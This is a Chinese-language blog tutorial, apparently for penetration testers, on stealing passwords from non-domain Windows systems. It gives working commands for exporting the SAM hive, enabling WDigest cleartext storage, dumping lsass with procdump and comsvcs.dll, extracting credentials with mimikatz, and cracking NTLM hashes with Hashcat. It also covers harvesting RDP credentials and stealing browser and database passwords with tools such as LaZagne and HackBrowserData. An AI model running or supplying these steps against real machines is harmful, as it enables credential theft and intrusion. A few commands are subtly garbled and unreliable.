本文詳細介紹了在非域環境下,針對Windows系統獲取密碼的四種方法,包括在線讀取SAM文件、離線讀取SAM和lsass進程,以及使用procdump、Power_sploit腳本、comsvcs.dll和密碼破解工具如Hashcat。還涵蓋了RDP憑證抓取和瀏覽器密碼竊取的技巧。
對于Windows(不是域環境)我們有四種方法去抓取它的密碼
在線讀取SAM文件
離線讀取SAM文件
在線讀取Lsass進程
離線讀取Lsass進程
在這次的blog,我們還是用的mimkatz
目錄
1.在線讀取SAM文件
2.離線讀取sam文件
3.在線讀取lsass進程
4.離線讀取lsass進程
1.任務管理器DUMP
2.通過procdump工具進行dump
3.Power_sploit的Out_minidump的腳本
4.白名單文件 comsvcs.dll
破解lsass.dmp
5.Hashcat
6.RDP憑證抓取
1.通過cmd讀取
2.文件夾讀取
7.瀏覽器,數據庫密碼信息讀取
1.BrowserGhost
2.Sharp-HackBrowserData
3.數據庫密碼抓取
4.抓取各類密碼 LaZagne
1.在線讀取SAM文件
這個就是最簡單的一個做法,直接在mimikatz上面敲上這個的命令
-
-
-
這個是沒有問題的,只不過它只能讀取到NTLM hash
2.離線讀取sam文件
因為我們直接在目標機器上面讀取hash可能會報毒(本身運行mimikatz也會報毒)所以我們就可以離線讀取,其實就是將它的注冊表中的sam導出
-
reg save hklm\sam sam.hive
-
reg save hklm\system system.hive
就可以看見這兩個文件
然后就是用本地的Mimikatz去導出
lsadump::sam /sam:sam.hive /system:system.hive
也是能達到相應的效果的!!!!
3.在線讀取lsass進程
這個呢,在某一些win10可以,但是在win11是不行的!!!(最起碼我的不行)
lsass進程中,存儲的是用戶的明文密碼,所以可能這就是導不出來的原因
-
-
win11是會直接報這樣的錯的(版本什么的我也試過了,而且我已經是重新將密碼寫回到了注冊表)
但是對于某些win10,以及win server2012 xp 等低版本是可以的
順便提一嘴,在一些win10版本
首先肯定是要寫入計劃表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
如果你想獲取明文密碼可以直接用以下命令
-
rundll32.exe user32.dll,LockWorkStation //這個可以直接鎖屏
-
-
-
-
-
-
-
都能把用戶踢下線 ,當他再輸密碼得時候,我們就可以讀取lsass進程得明文密碼
4.離線讀取lsass進程
離線讀取lsass進程,其實就是想辦法直接把對應得文件dump出來
1.任務管理器DUMP
前提是你得能遠程到別人得電腦,然后直接在任務管理器能把他dump出來
然后你就能得到這樣的文件
2.通過procdump工具進行dump
ProcDump 是一個命令行實用工具,其主要用途是監視應用程序的 CPU 峰值,并在出現峰值期間生成故障轉儲,管理員或開發人員可以使用這些轉儲來確定出現峰值的原因。 ProcDump 還支持掛起窗口監視(使用與 Windows 和任務管理器使用的窗口掛起相同的定義)、未處理的異常監視,并且可以根據系統性能計數器的值生成轉儲。 它還可用作可嵌入到其他腳本中的常規進程轉儲實用工具。
這個是微軟自己寫的工具,一般不會報毒(360不是一般的軟件)
procdump.exe -accepteula ma sass.exe lsass.dmp
3.Power_sploit的Out_minidump的腳本
通過這個腳本是可以dump出明文hash的
但是可以能對win11不太友好,反正我是不行
4.白名單文件 comsvcs.dll
通過調用這個文件的api,可以幫我們導出lsass進程
tasklist | findstr "lsass.exe" //查找lsass進程的pid
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump "lsass.exe的PID" C:\lsass.dmp full"
這樣我們就可以在c盤下看見一個lsass.dmp的文件啦
破解lsass.dmp
這個是可以用mimkatz去進行破解的!!
-
-
sekurlsa::minidump lsass.dmp
-
sekurlsa::logonpasswords full
對于一些winserver 就算是2012以后的也是可以的
但是win11還是不行(我真是無語了)
5.Hashcat
這個可以跑多種的密碼包括ntlmhash
假如我們現在有這樣的一個ntlm hash
e25bbe456dd96a635f4434511788e502
然后用hashcat
hashcat.exe -m ntlm_hash "字典" --force
可以看見是能跑出來的
6.RDP憑證抓取
1.通過cmd讀取
如果我們進入內網之后,我們可以信息收集的時候先敲上這樣的一條命令
keycmd /list
如果在這臺電腦上登錄過其他的電腦,而且還勾選了記住我的憑證就會出現以下結果
2.文件夾讀取
敲上這樣的一個命令
dir /a %userprofile%\appdata\local\microsoft\credentials\*
這里放著的都是它的登錄記錄
解密的話,可以用mimikatz進行解密
7.瀏覽器,數據庫密碼信息讀取
1.BrowserGhost
這個就直接運行就好,不過只能抓chrome的(我沒用chrome)
2.Sharp-HackBrowserData
這個用的比較多,可以直接抓取你的瀏覽器得密碼
Sharp-HackBrowserData.exe //直接運行就好
是真的可以抓到,他會生成在result文件夾里面
3.數據庫密碼抓取
直接運行這個文件
SharpDecryptPwd.exe -NavicatCrypto
后面就是你的參數了
4.抓取各類密碼 LaZagne
這個工具就比較強大了,基本上可以抓很多東西
lazagne.exe all
這是win11得
在win server 2012中我是dump出了它的ntlm 和lm hash
該文章在 2024/7/16 17:08:54 編輯過